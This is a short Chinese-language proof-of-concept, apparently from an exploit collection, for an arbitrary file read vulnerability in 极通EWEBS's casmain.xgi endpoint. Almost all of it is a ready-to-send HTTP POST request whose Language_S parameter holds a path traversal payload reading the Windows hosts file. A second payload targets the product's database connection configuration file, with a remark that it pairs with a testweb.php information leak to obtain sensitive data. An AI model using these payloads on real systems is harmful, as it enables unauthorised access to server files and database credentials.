极通EWEBS casmain.xgi 任意文件读取漏洞/zh-cn

POC

漏洞请求包为：

POST /casmain.xgi HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=923b86fa90ce1e14c82d4e36d1adc528; CookieLanguageName=ZH-CN
Content-Length: 57

Language_S=../../../../windows/system32/drivers/etc/hosts

可以配合 testweb.php 信息泄漏读取敏感信息

Language_S=../../Data/CONFIG/CasDbCnn.dat